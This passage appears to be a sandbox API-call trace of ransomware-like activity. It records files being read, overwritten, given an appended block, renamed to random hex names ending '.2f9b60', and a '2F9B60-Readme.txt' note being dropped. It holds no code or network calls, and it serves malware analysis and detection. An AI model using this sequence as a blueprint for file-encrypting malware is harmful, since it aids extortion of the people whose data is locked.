(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b30 [0113.740] NtQuerySystemTime (in: CurrentTime=0x1f9ef780 | out: CurrentTime=0x1f9ef780*=132462177192070000) returned 0x0 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x78c4c12f [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0xcc5ad27 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x3acae934 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x40a3c2d7 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x77720580 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x30bf15bd [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x6d54dac5 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x2d64da2b [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x2b5f21ad [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x3da57fb5 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x26e08f37 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x1a23b3d7 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x4b93a7ef [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x24770f62 [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x55fc321a [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x73a422da [0113.740] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x61c38b4f [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x1fd980b3 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x14dcf3c [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x26af7c60 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x12907873 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x73988c40 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x45470f20 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x4ea274a4 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x3cc1ae27 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x2f9e30eb [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x5610dabc [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x63b08046 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x42b4f329 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x63e7abb [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x70c8ee13 [0113.741] RtlRandomEx (in: Seed=0x1f9ef770 | out: Seed=0x1f9ef770) returned 0x7ed875b6 [0113.751] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.752] ReadFile (in: hFile=0xe70, lpBuffer=0x41d71d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f9ef7e0, lpOverlapped=0x0 | out: lpBuffer=0x41d71d40*, lpNumberOfBytesRead=0x1f9ef7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0113.753] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0113.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0113.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9040) returned 1 [0113.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d75950 [0113.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0113.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b30 [0113.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8b30) returned 1 [0113.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.755] WriteFile (in: hFile=0xe70, lpBuffer=0x41d75950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f9ef7e0, lpOverlapped=0x0 | out: lpBuffer=0x41d75950*, lpNumberOfBytesWritten=0x1f9ef7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0113.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d75950) returned 1 [0113.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d71d40) returned 1 [0113.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a8b30 [0113.760] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.760] WriteFile (in: hFile=0xe70, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x1f9ef890, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x1f9ef890*=0x102, lpOverlapped=0x0) returned 1 [0113.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0113.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0113.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ec0) returned 1 [0113.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0113.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0113.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f80) returned 1 [0113.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20260f80 [0113.767] sprintf (in: _Dest=0x20260f80, _Format="%c%c" | out: _Dest="08") returned 2 [0113.767] sprintf (in: _Dest=0x20260f82, _Format="%c%c" | out: _Dest="df") returned 2 [0113.767] sprintf (in: _Dest=0x20260f84, _Format="%c%c" | out: _Dest="2e") returned 2 [0113.767] sprintf (in: _Dest=0x20260f86, _Format="%c%c" | out: _Dest="eb") returned 2 [0113.767] sprintf (in: _Dest=0x20260f88, _Format="%c%c" | out: _Dest="9c") returned 2 [0113.767] sprintf (in: _Dest=0x20260f8a, _Format="%c%c" | out: _Dest="72") returned 2 [0113.767] sprintf (in: _Dest=0x20260f8c, _Format="%c%c" | out: _Dest="01") returned 2 [0113.767] sprintf (in: _Dest=0x20260f8e, _Format="%c%c" | out: _Dest="3b") returned 2 [0113.767] sprintf (in: _Dest=0x20260f90, _Format="%c%c" | out: _Dest="2e") returned 2 [0113.767] sprintf (in: _Dest=0x20260f92, _Format="%c%c" | out: _Dest="16") returned 2 [0113.767] sprintf (in: _Dest=0x20260f94, _Format="%c%c" | out: _Dest="e0") returned 2 [0113.767] sprintf (in: _Dest=0x20260f96, _Format="%c%c" | out: _Dest="ea") returned 2 [0113.767] sprintf (in: _Dest=0x20260f98, _Format="%c%c" | out: _Dest="7f") returned 2 [0113.767] sprintf (in: _Dest=0x20260f9a, _Format="%c%c" | out: _Dest="d0") returned 2 [0113.768] sprintf (in: _Dest=0x20260f9c, _Format="%c%c" | out: _Dest="bb") returned 2 [0113.768] sprintf (in: _Dest=0x20260f9e, _Format="%c%c" | out: _Dest="1b") returned 2 [0113.768] RtlInitAnsiString (in: DestinationString=0x1f9ef908, SourceString="08df2eeb9c72013b2e16e0ea7fd0bb1b" | out: DestinationString="08df2eeb9c72013b2e16e0ea7fd0bb1b") [0113.768] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f9ef8d8, SourceString="08df2eeb9c72013b2e16e0ea7fd0bb1b", AllocateDestinationString=1 | out: DestinationString="08df2eeb9c72013b2e16e0ea7fd0bb1b") returned 0x0 [0113.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bea0 [0113.768] wcscat (in: _Dest=0x1cd65c30, _Source="08df2eeb" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\08df2eeb") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\08df2eeb" [0113.768] wcscat (in: _Dest=0x1cd65c30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\08df2eeb.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\08df2eeb.2f9b60" [0113.768] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\08df2eeb.2f9b60", NtPathName=0x1f9ef8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\08df2eeb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118880 [0113.768] NtSetInformationFile (FileHandle=0xe70, IoStatusBlock=0x1f9ef950, FileInformation=0x118880, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0113.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0113.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.770] NtQueryInformationFile (in: FileHandle=0xe70, IoStatusBlock=0x1f9ef918, FileInformation=0x1f9ef928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f9ef918, FileInformation=0x1f9ef928) returned 0x0 [0113.770] NtSetInformationFile (FileHandle=0xe70, IoStatusBlock=0x1f9ef918, FileInformation=0x1f9ef928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65c30) returned 1 [0113.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0113.784] FlushFileBuffers (hFile=0xe70) returned 1 [0113.787] CloseHandle (hObject=0xe70) returned 1 [0113.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279970 [0113.788] wcscpy (in: _Dest=0x20279970, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0113.788] wcscat (in: _Dest=0x20279970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" [0113.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\2f9b60-readme.txt")) returned 0xffffffff [0113.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe70 [0113.788] WriteFile (in: hFile=0xe70, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1f9ef7d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1f9ef7d0*=0xba9, lpOverlapped=0x0) returned 1 [0113.790] CloseHandle (hObject=0xe70) returned 1 [0113.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0113.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 Thread: id = 1185 os_tid = 0xcd8 [0113.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0113.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", dwFileAttributes=0x20) returned 1 [0113.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xecc [0113.762] GetFileSizeEx (in: hFile=0xecc, lpFileSize=0x3728f960 | out: lpFileSize=0x3728f960*=18738) returned 1 [0113.762] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x492e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.762] ReadFile (in: hFile=0xecc, lpBuffer=0x3728f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3728f928, lpOverlapped=0x0 | out: lpBuffer=0x3728f8e0*, lpNumberOfBytesRead=0x3728f928*=0x4, lpOverlapped=0x0) returned 1 [0113.771] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c20 [0113.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b90 [0113.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ad0 [0113.772] NtQuerySystemTime (in: CurrentTime=0x3728f820 | out: CurrentTime=0x3728f820*=132462177192382000) returned 0x0 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x545d395a [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x49723946 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x2a2f2978 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x136c94e8 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x70eb0040 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x3bc59de [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x3d54a234 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x4bd00c56 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x26747114 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x1a19d304 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x53f63bc0 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x6d1cfcaa [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x63fae15d [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x2b4518f1 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x2a5d0501 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x785c272b [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x32364629 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x1d4a2ba6 [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x11117e2c [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x680b400a [0113.772] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x59dfc76d [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x9738034 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x514b4f77 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x400412e8 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x7d30da26 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x61eda7d1 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x696c5619 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x18fbfd16 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x57c3dd49 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x1661f1f3 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x29f74b14 [0113.773] RtlRandomEx (in: Seed=0x3728f810 | out: Seed=0x3728f810) returned 0x790b8216 [0113.782] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.782] ReadFile (in: hFile=0xecc, lpBuffer=0x41d71d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3728f880, lpOverlapped=0x0 | out: lpBuffer=0x41d71d40*, lpNumberOfBytesRead=0x3728f880*=0x3c00, lpOverlapped=0x0) returned 1 [0113.785] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0113.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c20 [0113.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c20) returned 1 [0113.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d75950 [0113.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c20 [0113.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ad0 [0113.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ad0) returned 1 [0113.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0113.786] WriteFile (in: hFile=0xecc, lpBuffer=0x41d75950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3728f880, lpOverlapped=0x0 | out: lpBuffer=0x41d75950*, lpNumberOfBytesWritten=0x3728f880*=0x3c00, lpOverlapped=0x0) returned 1 [0113.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d75950) returned 1 [0113.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d71d40) returned 1 [0113.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b8598b0 [0113.792] SetFilePointerEx (in: hFile=0xecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.792] WriteFile (in: hFile=0xecc, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3728f930, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3728f930*=0x102, lpOverlapped=0x0) returned 1 [0113.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0113.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0113.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859af0 [0113.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859af0) returned 1 [0113.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0113.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859af0 [0113.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0113.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0113.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0113.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0113.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b85ab40 [0113.795] sprintf (in: _Dest=0x1b85ab40, _Format="%c%c" | out: _Dest="53") returned 2 [0113.795] sprintf (in: _Dest=0x1b85ab42, _Format="%c%c" | out: _Dest="29") returned 2 [0113.795] sprintf (in: _Dest=0x1b85ab44, _Format="%c%c" | out: _Dest="42") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab46, _Format="%c%c" | out: _Dest="af") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab48, _Format="%c%c" | out: _Dest="77") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab4a, _Format="%c%c" | out: _Dest="b8") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab4c, _Format="%c%c" | out: _Dest="e2") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab4e, _Format="%c%c" | out: _Dest="49") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab50, _Format="%c%c" | out: _Dest="5c") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab52, _Format="%c%c" | out: _Dest="8c") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab54, _Format="%c%c" | out: _Dest="b7") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab56, _Format="%c%c" | out: _Dest="46") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab58, _Format="%c%c" | out: _Dest="63") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab5a, _Format="%c%c" | out: _Dest="a2") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab5c, _Format="%c%c" | out: _Dest="af") returned 2 [0113.796] sprintf (in: _Dest=0x1b85ab5e, _Format="%c%c" | out: _Dest="97") returned 2 [0113.796] RtlInitAnsiString (in: DestinationString=0x3728f9a8, SourceString="532942af77b8e2495c8cb74663a2af97" | out: DestinationString="532942af77b8e2495c8cb74663a2af97") [0113.796] RtlAnsiStringToUnicodeString (in: DestinationString=0x3728f978, SourceString="532942af77b8e2495c8cb74663a2af97", AllocateDestinationString=1 | out: DestinationString="532942af77b8e2495c8cb74663a2af97") returned 0x0 [0113.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c350 [0113.796] wcscat (in: _Dest=0x1ce11600, _Source="532942af" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\532942af") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\532942af" [0113.797] wcscat (in: _Dest=0x1ce11600, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\532942af.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\532942af.2f9b60" [0113.797] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\532942af.2f9b60", NtPathName=0x3728f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\532942af.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118880 [0113.797] NtSetInformationFile (FileHandle=0xecc, IoStatusBlock=0x3728f9f0, FileInformation=0x118880, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0113.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0113.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.799] NtQueryInformationFile (in: FileHandle=0xecc, IoStatusBlock=0x3728f9b8, FileInformation=0x3728f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3728f9b8, FileInformation=0x3728f9c8) returned 0x0 [0113.799] NtSetInformationFile (FileHandle=0xecc, IoStatusBlock=0x3728f9b8, FileInformation=0x3728f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0113.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0113.803] FlushFileBuffers (hFile=0xecc) returned 1 [0113.804] CloseHandle (hObject=0xecc) returned 1 [0113.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279970 [0113.808] wcscpy (in: _Dest=0x20279970, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0113.808] wcscat (in: _Dest=0x20279970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" [0113.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\2f9b60-readme.txt")) returned 0x20 [0113.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0113.808] RtlFreeHeap 